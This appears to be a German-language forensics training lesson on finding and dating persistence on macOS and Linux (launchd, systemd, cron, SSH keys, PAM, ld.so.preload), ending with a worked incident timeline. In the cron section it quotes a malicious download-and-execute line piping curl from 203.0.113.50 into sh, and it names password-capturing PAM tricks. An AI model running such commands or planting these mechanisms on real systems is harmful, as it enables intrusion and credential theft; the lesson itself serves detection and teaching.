Grundlagen von macOS und Linux · Lektion 5 von 5
Persistenz unter macOS und Linux
12 Min. Lesezeit
Persistenz umfasst alles, was es einem Eindringling oder Schadsoftware ermöglicht, einen Neustart, eine Abmeldung oder eine Passwortänderung zu überdauern. Unter macOS und Linux handelt es sich dabei fast immer um eine Datei: eine Property List, eine Unit-Datei, eine Crontab-Zeile oder einen öffentlichen Schlüssel. Diese Lektion führt die wichtigsten Autostart-Speicherorte auf beiden Systemen auf und zeigt, wie Sie bösartige Einträge von legitimen unterscheiden, zeitlich einordnen und zuordnen. Persistenz unter Windows wird in Modul 2 behandelt.
Die Vorgehensweise des Prüfers
- Erfassen Sie jeden Autostart-Speicherort für die jeweilige Betriebssystemversion, sowohl systemweit als auch in jedem Home-Verzeichnis, einschließlich
/rootund Dienstkonten wiewww-data. - Vergleichen Sie mit einer Referenz: einem nachweislich unauffälligen System desselben Builds oder den Aufzeichnungen der Paketverwaltung. Prüfen Sie, wem jede Datei zuzuordnen ist (einem Paket, einem signierten Hersteller-Bundle, niemandem?) und ob das von ihr gestartete Programm an einem ungewöhnlichen Ort liegt, etwa in
/tmp,/dev/shmoder als Datei mit einem Punkt am Namensanfang in/usr/local/bin. - Dokumentieren Sie Eigentümer, Dateimodus, alle Zeitstempel (ext4 und APFS speichern einen Erstellungszeitpunkt), Größe und SHA-256 der Konfigurationsdatei und des von ihr gestarteten Programms.
- Sortieren Sie nach Zeit und suchen Sie nach Elementen, die im Vorfallszeitraum erstellt oder geändert wurden. Untermauern Sie dies anschließend mit Protokollen (Lektion 6.4) und Ausführungsnachweisen.
- Kennzeichnen Sie jeden Befund mit einer Technik-ID von MITRE ATT&CK. IDs sind Vokabular, keine Beweise: Sie machen Berichte vergleichbar.
| Technik | ID | Untertechniken für macOS und Linux |
|---|---|---|
| Systemprozess erstellen oder ändern | T1543 | .001 Launch Agent, .004 Launch Daemon, .002 Systemd-Dienst |
| Geplante Aufgabe/Job | T1053 | .003 Cron, .006 Systemd-Timer |
| Kontomanipulation: Autorisierte SSH-Schlüssel | T1098.004 | Hinzugefügter öffentlicher Schlüssel |
| Ereignisgesteuerte Ausführung | T1546 | .004 Änderung der Unix-Shell-Konfiguration, .017 Udev-Regeln |
| Autostart-Ausführung beim Booten oder Anmelden | T1547 | .015 Anmeldeobjekte, .006 Kernelmodule und -erweiterungen |
| Initialisierungsskripte beim Booten oder Anmelden | T1037 | .004 RC-Skripte |
Verwandte IDs, denen Sie begegnen werden: T1574.006 Übernahme des dynamischen Linkers (ld.so.preload), T1556.003 Pluggable Authentication Modules, T1505.003 Web-Shell und T1136.001 Konto erstellen: Lokales Konto.
macOS
launchd-Daemons und -Agents
launchd (PID 1) startet Jobs, die in Property Lists beschrieben sind; Lektion 6.1 behandelt XML- und binäre Plists sowie deren Auslesen mit plutil -p.
| Ordner | Ausführung als | Startzeitpunkt |
|---|---|---|
/Library/LaunchDaemons | root oder das Konto in UserName | Beim Booten, ohne angemeldeten Benutzer |
/Library/LaunchAgents | Jeder Benutzer, der sich anmeldet | Bei der Anmeldung jedes Benutzers |
~/Library/LaunchAgents | Der betreffende Benutzer | Bei der Anmeldung dieses Benutzers |
/System/Library/LaunchDaemons und LaunchAgents | Apples eigene Jobs | Geschützt; kein übliches Ziel |
Die /System-Ordner sind durch System Integrity Protection (SIP, OS X 10.11+) geschützt und liegen ab macOS 11 auf dem versiegelten, schreibgeschützten Systemvolume. Suchen Sie daher in /Library und den Benutzerordnern. Die relevanten Schlüssel:
Label: der eindeutige Jobname, üblicherweise in umgekehrter DNS-Schreibweise. Eincom.apple.-Label außerhalb von/Systemverdient eine genaue Prüfung.ProgramoderProgramArguments: die ausführbare Datei und ihre Argumente; die Datei müssen Sie lokalisieren und hashen./bin/sh -c,curloderosascriptsind Warnsignale.RunAtLoad: Start, sobald der Job geladen wird (beim Booten oder Anmelden).KeepAlive: Neustart des Jobs, sobald er beendet wird.StartInterval: Ausführung alle N Sekunden (StartCalendarIntervalist die cron-ähnliche Form).
Anmeldeobjekte, Profile und weitere Ansatzpunkte unter macOS
Ab macOS 13 Ventura erfasst Background Task Management (BTM) Anmeldeobjekte, Launch Agents und Daemons, benachrichtigt den Benutzer und listet sie unter Systemeinstellungen > Allgemein > Anmeldeobjekte auf. Die zugehörige Datenbank ist /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, wobei sich N zwischen den Versionen ändert. Es handelt sich um eine binäre Plist in Apples Keyed-Archive-Format; auf einem laufenden Mac gibt sudo sfltool dumpbtm für jedes Objekt die Kennung, den Entwicklernamen, den Typ, den Status und den Pfad zur ausführbaren Datei aus. macOS 10.13 bis 12 speicherten Anmeldeobjekte in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.
- Konfigurationsprofile (
.mobileconfig) können Stammzertifikate, Proxy-, DNS- oder VPN-Einstellungen oder eine MDM-Registrierung installieren: Kontrolle statt Code. Listen Sie sie auf einem laufenden System mitsudo profiles listauf. Ab macOS 11 kann das Werkzeugprofilesein Profil nicht mehr unbemerkt installieren. Ein unerlaubtes Profil setzt daher eine Benutzerzustimmung oder MDM voraus. - cron und periodic sind weiterhin vorhanden, werden aber selten verwendet: Benutzer-Crontabs in
/private/var/at/tabs/<user>, Skripte in/etc/periodic/daily|weekly|monthly. - Shell-Profile: zsh ist seit 10.15 die Standardshell.
~/.zshenvwird für jede zsh ausgeführt,~/.zprofilefür Login-Shells,~/.zshrcfür interaktive Shells, zusätzlich zu/etc/zprofileund/etc/zshrc. Sie werden nur ausgeführt, wenn eine Shell startet. - Autorisierungs-Plug-ins in
/Library/Security/SecurityAgentPluginswerden, sobald sie in der Autorisierungsdatenbank referenziert sind, während der Anmeldung mit Zugriff auf das eingegebene Passwort ausgeführt; Kernel-Erweiterungen (/Library/Extensions, seit macOS 10.15 veraltet) und Systemerweiterungen (10.15+,systemextensionsctl list) erfordern eine ausdrückliche Benutzerzustimmung.
Es ist wichtig, wie die Binärdatei auf das System gelangt ist. Browser und Mail fügen das Attribut com.apple.quarantine hinzu (Lektion 6.1), sodass Gatekeeper beim ersten Start Signatur und Notarisierung prüft. curl fügt es nicht hinzu; eine abgelegte Binärdatei ohne dieses Attribut ist daher mit einem Download durch ein Skript vereinbar. Prüfen Sie die Signierung mit codesign -dv --verbose=4.
Linux
systemd-Dienste und -Timer
Unit-Dateien werden aus /etc/systemd/system (Administrator, höchste Priorität), /run/systemd/system (Laufzeit) und /lib/systemd/system oder /usr/lib/systemd/system (Pakete) gelesen. Benutzer-Units in ~/.config/systemd/user laufen, solange der betreffende Benutzer angemeldet ist, oder dauerhaft, wenn Linger aktiviert ist (/var/lib/systemd/linger/<user>).
In einer Unit enthält [Service] die Einträge ExecStart= (das Programm), Restart=always (Neustart nach Beendigung) und User=; [Install] enthält WantedBy=multi-user.target. systemctl enable setzt WantedBy um, indem es einen symbolischen Link in /etc/systemd/system/multi-user.target.wants/ erstellt. Der Link ist ein neuer Inode. Sein eigener Erstellungszeitpunkt (ohne Folgen des Links auslesen: stat für den Link oder istat für dessen Inode) datiert daher seine letzte Erstellung, normalerweise durch systemctl enable. Prüfen Sie auch Drop-in-Ordner (<unit>.d/*.conf), die den Eintrag ExecStart= eines legitimen Dienstes überschreiben können. Timer (.timer mit OnCalendar= oder OnBootSec=) starten den gleichnamigen .service; listen Sie sie auf einem laufenden System mit systemctl list-timers --all auf.
cron, SSH-Schlüssel und Shell-Startdateien
Lektion 6.3 nannte die Speicherorte für cron und at. Bösartige Einträge sehen beispielsweise so aus: * root curl -fsSL http://203.0.113.50/k.sh | sh: jede Minute ein Download, der über eine Pipe an eine Shell weitergereicht wird. Ebenfalls verdächtig sind Base64-Blöcke, eine Crontab für www-data oder eine Datei in /etc/cron.d, die zu keinem Paket gehört.
OpenSSH liest standardmäßig .ssh/authorized_keys und .ssh/authorized_keys2 in jedem Home-Verzeichnis; prüfen Sie sshd_config auf AuthorizedKeysFile oder AuthorizedKeysCommand. Jede Zeile enthält gegebenenfalls Optionen, den Schlüsseltyp, den Base64-Schlüssel und einen Kommentar. Der Kommentar ist frei wählbarer Text des Schlüsselerstellers und erlaubt keinerlei Zuordnung. Optionen wie command="…" (einen Befehl erzwingen) oder from="198.51.100.0/24" (zulässige Quellen) verändern die Wirkung des Schlüssels. ssh-keygen -lf authorized_keys gibt den SHA256:-Fingerabdruck jedes Schlüssels aus, den Sie mit sshd-Zeilen wie Accepted publickey for root from … ssh2: ED25519 SHA256:… abgleichen (Lektion 6.4).
Bash-Login-Shells lesen /etc/profile (das /etc/profile.d/*.sh einbindet) und die erste vorhandene Datei aus ~/.bash_profile, ~/.bash_login und ~/.profile; interaktive Nicht-Login-Shells lesen /etc/bash.bashrc (Debian-Familie) und ~/.bashrc. Suchen Sie an deren Ende nach nohup … &, alias sudo= oder export LD_PRELOAD=.
Tiefer greifende Eingriffspunkte
- rc.local und init.d: Wenn
/etc/rc.localvorhanden und ausführbar ist, führt systemd die Datei beim Booten aus; SysV-Skripte in/etc/init.dwerden über einen Kompatibilitätsgenerator ausgeführt. systemd 260 (2026) hat beides entfernt. /etc/ld.so.preload: normalerweise nicht vorhanden. Jedes aufgeführte Shared Object wird in jedes dynamisch gelinkte Programm geladen – die klassische User-Mode-Rootkit-Technik, um Dateien und Prozesse vor Werkzeugen zu verbergen, die auf dem laufenden Host ausgeführt werden.- Kernelmodule:
/etc/modules,/etc/modules-load.d/*.confund/etc/modprobe.d/*.conf(dereninstall-Zeilen Befehle ausführen können).lsmodliest/proc/modules, das ein Rootkit verfälschen kann. Vergleichen Sie Moduldateien unter/lib/modules/<kernel>/, Kernelmeldungen wiemodule verification failed: signature and/or required key missing - tainting kernelund den Arbeitsspeicher (Modul 5). - udev-Regeln: Ein
RUN+="…"in/etc/udev/rules.d/*.ruleswird bei jedem passenden Geräteereignis ausgeführt. - PAM: Eine Zeile in
/etc/pam.d/, diepam_exec.so expose_authtokhinzufügt, übergibt jedes eingegebene Passwort an ein Programm; ein ersetztespam_unix.sokann ein Masterpasswort akzeptieren. - Konten: eine zweite UID 0 in
/etc/passwd, neue Mitglieder vonsudo/wheeloder Dateien in/etc/sudoers.d(Lektion 6.3). - Web-Shells: kleine
.php- oder.jsp-Dateien unter/var/www, deren Eigentümer das Webserver-Konto ist.
Überprüfung anhand der Paketverwaltung
dpkg -V (oder debsums -c) vergleicht Dateien mit den bei der Installation aufgezeichneten MD5-Prüfsummen; rpm -Va prüft zusätzlich Größe, Dateimodus, Eigentümer und mtime und gibt Kennzeichen wie S.5....T. (Größe, Hashwert, Zeit geändert) sowie c für Konfigurationsdateien aus, die sich legitimerweise ändern. dpkg -S <path> oder rpm -qf <path> nennt das Paket einer Datei. Grenzen: Nur paketzugehörige Dateien werden geprüft, sodass eine neue Unit, cron-Datei oder authorized_keys-Zeile unsichtbar bleibt; außerdem kann ein Angreifer mit root-Rechten die Datenbank (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) oder die Werkzeuge ändern. Verwenden Sie vorzugsweise Hashwerte der Originalpakete vom Distributionsspiegelserver und vergleichen Sie diese auf Ihrer Arbeitsstation mit dem schreibgeschützt eingehängten Dateisystem.
Kurzübersicht
| Speicherort | Betriebssystem | Ausführungszeitpunkt | Prüfmethode |
|---|---|---|---|
/Library/LaunchDaemons/*.plist | macOS | Beim Booten, als root | ProgramArguments, Zieldatei hashen, crtime |
~/Library/LaunchAgents/*.plist | macOS | Benutzeranmeldung | Ebenso, für jeden Benutzer |
BackgroundItems-v<N>.btm | macOS 13+ | Anmeldung | sfltool dumpbtm (laufendes System) oder ein BTM-Parser |
/etc/systemd/system/*.service + *.wants/ | Linux | Beim Booten | dpkg -S, crtime des Links, ExecStart |
~/.config/systemd/user/ | Linux | Benutzersitzung | Linger-Datei, ExecStart |
*.timer, /etc/cron.d, Crontabs | Beide (cron) | Nach Zeitplan | Häufigkeit, Befehl, Eigentümer |
~/.ssh/authorized_keys | Beide | SSH-Anmeldung | Fingerabdrücke mit sshd-Protokoll abgleichen |
~/.zshrc, ~/.bashrc, /etc/profile.d/*.sh | Beide | Shell-Start | Angehängte Zeilen |
/etc/rc.local, /etc/init.d/ | Linux | Beim Booten | Vorhandensein, Ausführbarkeit, Eigentümer |
/etc/ld.so.preload | Linux | Bei jedem Programmstart | Sollte nicht vorhanden sein |
/etc/modules-load.d/, /etc/modprobe.d/ | Linux | Beim Booten | Moduldateien, Taint-Meldungen |
/etc/udev/rules.d/ | Linux | Geräteereignis | RUN+=-Einträge |
/etc/pam.d/ | Linux | Authentifizierung | pam_exec, dpkg -V |
Durchgearbeitetes Beispiel: ein gefälschter D-Bus-Helfer
Ein Debian-12-Webserver (Zeitzone UTC−3) wurde am 14. März 2026 kompromittiert:
| Ereignis | Beleg | UTC |
|---|---|---|
deploy meldet sich an | auth.log: Accepted password for deploy from 198.51.100.23 | 2026-03-14T14:18:05Z |
| Root-Shell | sudo: deploy : … USER=root ; COMMAND=/bin/bash | 14:19:12Z |
| Schlüssel hinzugefügt | mtime und ctime von /root/.ssh/authorized_keys; neue ssh-ed25519-Zeile, Kommentar backup@web01 | 14:23:37Z |
| Binärdatei abgelegt | crtime von /usr/local/bin/.dbus-helper; SHA-256 6b856bbe9d9d3448c05fd885e758345f47bba2812bc8b7e15299e82a70ea8142 | 14:25:02Z |
| Dienst aktiviert | crtime des symbolischen Links multi-user.target.wants/dbus-helper.service | 14:26:10Z |
| Sitzung endet | session closed for user deploy | 14:31:40Z |
| Schlüssel verwendet | Accepted publickey for root from 203.0.113.77 port 40122 ssh2: ED25519 SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU | 2026-03-15T02:07:44Z |
Die Unit /etc/systemd/system/dbus-helper.service enthält ExecStart=/usr/local/bin/.dbus-helper, Restart=always und WantedBy=multi-user.target. dpkg -S findet für keine der beiden Dateien ein zugehöriges Paket; die echte D-Bus-Unit ist dbus.service in /lib/systemd/system, und der führende Punkt verbirgt die Binärdatei vor einem einfachen ls.
Die Aktivierung zeitlich bestimmen. stat gibt für den symbolischen Link Birth: 2026-03-14 11:26:10.483920117 -0300 aus; 11:26:10 + 3 h = 14:26:10Z. Prüfen Sie dies im rohen Inode: i_crtime am Offset 0x90 enthält 02 70 B5 69, in Little-Endian 0x69B57002 = 1.773.498.370 Sekunden seit 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra bei 0x94 enthält D4 23 60 73 = 0x736023D4; um 2 Bits nach rechts verschoben ergibt dies 483.920.117 ns, und die beiden niederwertigsten Bits (00) fügen keine Epochenerweiterung hinzu.
Den Schlüssel verknüpfen. ssh-keygen -lf liefert für die neue Zeile SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, identisch mit der Anmeldung um 02:07:44Z. Somit wurde dieser Schlüssel verwendet, und zwar von einer neuen Adresse aus.
Zuordnung. Alle drei Elemente wurden der Reihe nach innerhalb der Root-Shell der deploy-Sitzung erstellt (14:18:05Z bis 14:31:40Z). Erstellungszeitpunkte zeigen, wann Inodes entstanden, nicht, wer gehandelt hat. Das Sitzungszeitfenster stellt diese Verbindung her, nachdem Sie wtmp und das Journal auf andere zu diesem Zeitpunkt offene Sitzungen geprüft haben. touch kann weder crtime noch ctime setzen, sodass eine zurückdatierte mtime den Zeitpunkt 14:25:02Z nicht verbergen würde. Führen Sie T1543.002 und T1098.004 im Bericht auf.
Prüfungsschwerpunkt: Rechnen Sie damit, den Ordner und das Konto eines launchd-Jobs angeben,ProgramArguments,RunAtLoadundKeepAliveauslesen und einen systemd-Dienst anhand seines symbolischen Links in*.wantszeitlich einordnen zu müssen. Möglicherweise müssen Sie einenauthorized_keys-Fingerabdruck einerAccepted publickey-Zeile zuordnen, eine lokale Zeitangabe vonstatin UTC umrechnen und den vollständigen Pfad sowie den SHA-256 einer Binärdatei angeben.
Kernpunkte
- Persistenz ist eine Datei an einem bekannten Autostart-Speicherort; erfassen Sie alle diese Speicherorte, systemweit und pro Benutzer, und vergleichen Sie sie anschließend mit einer Referenz.
- LaunchDaemons laufen beim Booten als root; LaunchAgents laufen bei der Anmeldung als der jeweilige Benutzer;
/System/Librarygehört Apple und ist versiegelt. systemctl enableerstellt einen symbolischen Link in*.wants/; der eigene Erstellungszeitpunkt des Links datiert die Aktivierung.- Weisen Sie nach, welcher SSH-Schlüssel verwendet wurde, indem Sie seinen
SHA256:-Fingerabdruck mit derAccepted publickey-Zeile von sshd abgleichen; ignorieren Sie den Schlüsselkommentar. dpkg -Vundrpm -Vaerfassen nur paketzugehörige Dateien und vertrauen einer Datenbank, die root ändern kann.- ATT&CK-IDs wie T1543, T1053, T1098.004, T1546, T1547 und T1037 benennen Befunde; sie beweisen sie nicht.